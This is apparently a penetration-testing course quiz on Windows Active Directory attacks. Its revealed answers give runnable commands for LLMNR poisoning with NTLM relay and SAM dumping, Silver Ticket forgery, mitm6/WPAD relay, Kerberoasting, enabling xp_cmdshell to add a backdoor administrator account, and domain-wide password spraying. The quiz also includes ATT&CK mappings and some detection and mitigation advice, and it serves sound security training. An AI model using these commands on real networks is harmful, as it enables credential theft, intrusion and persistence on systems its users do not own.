Chapter 3.3 Quiz - Man-in-the-Middle, Spoofing & Lateral Movement

Quiz Mode - All answers are hidden under collapsible sections. Attempt each question before revealing the answer.

---

Question 1

You run Responder on a corporate network and capture the following NTLMv2 hash within 4 minutes: jsmith::CORP:aabbccddee112233:.... You attempt to crack it with rockyou.txt for 6 hours with no result. What is the most operationally efficient next step - and why is cracking not always necessary?

Reveal Answer

Answer: Relay the hash in real time using ntlmrelayx rather than cracking it.

Explanation: NTLMv2 hashes use HMAC-MD5 with the full challenge/response, making them significantly harder to crack than NTLM (NT) hashes, especially against strong passwords. A 6-hour failed crack means the password is likely not in rockyou.txt - it may be complex, long, or a passphrase.

Cracking is not necessary because the hash can be relayed directly: the NTLMv2 challenge/response is a valid authentication proof that any service using NTLM will accept, as long as it arrives within the session window. ntlmrelayx captures and forwards this proof to a third-party target in real time.

# Correct approach: relay instead of crack
# Step 1: Check which hosts have SMB signing disabled (relay targets)
cme smb 192.168.1.0/24 --gen-relay-list /tmp/relay_targets.txt

# Step 2: Reconfigure Responder - disable SMB/HTTP so ntlmrelayx handles them
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf

# Step 3: Start Responder for poisoning only
responder -I eth0 -rdw &

# Step 4: Relay to signing-disabled hosts
impacket-ntlmrelayx \
  -tf /tmp/relay_targets.txt \
  -smb2support \
  --dump-lm                   # Dump local SAM on success - get NT hashes (faster to crack)

The NT hashes obtained from the SAM dump (mode 1000 in hashcat) crack far faster than NTLMv2 hashes from network captures.

Additional note: If jsmith is a local admin on signing-disabled hosts, the relay succeeds immediately. If not, try targeting the DC via LDAP relay to create a new user or modify permissions.

MITRE ATT&CK: T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)

---

Question 2

Explain the difference between a Golden Ticket and a Silver Ticket attack. In what scenario would an attacker prefer a Silver Ticket despite having the krbtgt hash available?

Reveal Answer

Answer: A Golden Ticket forges a TGT using the krbtgt hash - granting access to any service in the domain. A Silver Ticket forges a service ticket using a specific service account hash - granting access only to that service.

Technical distinction:

Property	Golden Ticket	Silver Ticket
Hash required	krbtgt NTLM hash	Target service account NTLM hash
Scope	Any service in the domain	One specific service/SPN
KDC contact	Yes (presents to KDC for service tickets)	No - ticket presented directly to service
Detectability	High - KDC sees the forged TGT	Low - KDC never involved
Event IDs	4768, 4769, 4771 on DC	None on DC
Validity	Until krbtgt reset (twice)	Until service account password reset

When to prefer Silver Ticket: An attacker who needs persistent access to one specific service (e.g., the CIFS share on a file server, or the MSSQL service on a DB server) but wants to avoid generating DC event logs should use a Silver Ticket. The DC is completely bypassed - the forged ticket goes directly to the target service, which validates it using its own account hash without consulting the KDC.

# Silver Ticket for CIFS access to file server
impacket-ticketer \
  -nthash FILESERVER_COMPUTER_ACCOUNT_HASH \  # Hash of fileserver$ account
  -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
  -domain corp.local \
  -spn cifs/fileserver.corp.local \           # Target service
  -duration 365 \
  jsmith

export KRB5CCNAME=jsmith.ccache
# Access file server - zero DC logs generated
impacket-smbclient -k -no-pass //fileserver.corp.local/C$

Detection: Silver Tickets cannot be detected at the DC level. Host-based detection is required: Event 4624 (logon) on the target service host with unusual characteristics (e.g., TGT missing, logon from unexpected source). Microsoft Defender for Identity can detect tickets with anomalous PAC fields or encryption types.

MITRE ATT&CK: T1558.001 (Golden Ticket), T1558.002 (Silver Ticket)

---

Question 3

A penetration tester runs mitm6 -d corp.local -i eth0 on an internal segment. Within 3 minutes, ntlmrelayx reports a successful relay and SOCKS session for CORP\DA_account. The tester did not crack any password. Explain the exact protocol chain that produced this result from DHCPv6 request to authenticated session.

Reveal Answer

Answer: The complete protocol chain:

Step 1 - DHCPv6 Solicitation Windows periodically sends DHCPv6 Solicit messages (even on IPv4-only networks) to discover IPv6 configuration. mitm6 responds with a DHCPv6 Advertise/Reply assigning:

• An IPv6 address to the victim
• The attacker's IPv6 address as the DNS server

Windows prefers IPv6 DNS over IPv4 DNS by design.

Step 2 - WPAD Discovery via DNS Windows makes a DNS query to the attacker's IPv6 DNS server for wpad.corp.local (Web Proxy Auto-Discovery). mitm6 responds with the attacker's IPv6 address as the WPAD host.

Step 3 - WPAD HTTP Request with NTLM Windows requests http://[attacker_ipv6]/wpad.dat. ntlmrelayx intercepts this HTTP request and responds with a 401 Unauthorized demanding NTLM authentication. Windows automatically authenticates using the current user's credentials (including DA_account if that user is logged on) - this is transparent to the user.

Step 4 - NTLM Relay to SMB Target ntlmrelayx takes the NTLM authentication from the WPAD HTTP request and replays it to an IPv4 SMB target that has signing disabled. The target validates the authentication against the DC and, since the credentials are valid, grants the session.

Step 5 - SOCKS Session ntlmrelayx establishes an authenticated SMB session and exposes it via a local SOCKS port, allowing any Impacket tool to connect through it using the relayed identity.

Victim (DA account logged in)
  |
  |-[DHCPv6 Solicit]-------------------> mitm6
  |<-[DHCPv6 Reply: DNS=attacker_ipv6]---|
  |
  |-[DNS: wpad.corp.local?]-------------> mitm6 (as DNS server)
  |<-[DNS: wpad = attacker_ipv6]---------|
  |
  |-[HTTP GET /wpad.dat]----------------> ntlmrelayx (as HTTP server)
  |<-[401 NTLM challenge]-------------- -|
  |-[HTTP NTLM Auth (DA creds)]---------> ntlmrelayx
  |                                         |
  |                    ntlmrelayx --[SMB Auth relay]--> Target (signing off)
  |                                         |<--[SMB Auth success]--|
  |<-[200 OK wpad.dat]--------------------|
  |  (victim continues browsing normally)   |
  |                                    SOCKS session active

Key insight: DA_account never typed a password, clicked anything, or was aware of the attack. Windows NTLM SSO (Single Sign-On) authenticated automatically to what it believed was the corporate WPAD proxy.

Mitigation: Disable DHCPv6 via firewall (block UDP 546/547) if IPv6 is not in use; use DHCP option to disable WPAD; disable NTLM where Kerberos can be enforced.

MITRE ATT&CK: T1557.001, T1557 (Adversary-in-the-Middle)

---

Question 4

After running impacket-GetUserSPNs you find svc-mssql has an SPN of MSSQLSvc/dbserver.corp.local:1433. You request the TGS ticket and crack it with hashcat in 4 minutes, obtaining Serv1ceP@ss!. What are the next three lateral movement steps assuming this account has no special AD privileges, and how would you determine if it does?

Reveal Answer

Answer:

Step 1 - Determine the account's actual privileges

# Check AD group memberships
impacket-GetADUsers \
  "CORP/svc-mssql:Serv1ceP@ss!@192.168.1.10" \
  -all | grep -A5 "svc-mssql"

# More complete group check via LDAP
ldapsearch -x -h 192.168.1.10 \
  -D "svc-mssql@corp.local" \
  -w 'Serv1ceP@ss!' \
  -b "DC=corp,DC=local" \
  "(sAMAccountName=svc-mssql)" \
  memberOf distinguishedName userAccountControl

# Check local admin rights on the DB server specifically
cme smb 192.168.1.50 \               # dbserver IP
  -u svc-mssql \
  -p 'Serv1ceP@ss!' \
  -d CORP
# "Pwn3d!" = local admin on that host

Step 2 - Authenticate to MSSQL and escalate via xp_cmdshell Service accounts often have sysadmin or elevated MSSQL privileges - the service must be able to manage its own database:

impacket-mssqlclient \
  "CORP/svc-mssql:Serv1ceP@ss!@192.168.1.50" \
  -windows-auth                       # Use Windows/NTLM auth

# Inside mssqlclient:
SQL> SELECT SYSTEM_USER;              # Current SQL login
SQL> SELECT IS_SRVROLEMEMBER('sysadmin');  # 1 = sysadmin
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';       # OS command execution
SQL> EXEC xp_cmdshell 'net user hacker P@ss123! /add && net localgroup administrators hacker /add';

Step 3 - Credential reuse across services Service accounts often reuse passwords across hosts and services. The cracked password should be sprayed:

# Test password reuse across the entire domain
cme smb 192.168.1.0/24 \
  -u svc-mssql \
  -p 'Serv1ceP@ss!' \
  -d CORP \
  --continue-on-success               # Don't stop at first hit

# Test against WinRM, SSH, RDP
cme winrm 192.168.1.0/24 -u svc-mssql -p 'Serv1ceP@ss!'
cme rdp 192.168.1.0/24 -u svc-mssql -p 'Serv1ceP@ss!'

# Also check if same password used for local accounts
cme smb 192.168.1.0/24 \
  -u svc-mssql \
  -p 'Serv1ceP@ss!' \
  --local-auth                        # Test as local account (not domain)

If the account has no special AD privileges at all: Check local file system access on the DB server for sensitive data (connection strings, config files, backups containing credentials), and use the DB server as a pivot point into network segments the DB server is trusted to access.

MITRE ATT&CK: T1558.003 (Kerberoasting), T1078.002 (Valid Accounts: Domain Accounts), T1059.009 (SQL), T1021.002 (SMB/Admin Shares)

---

End of Quiz 3.3 - Man-in-the-Middle, Spoofing & Lateral Movement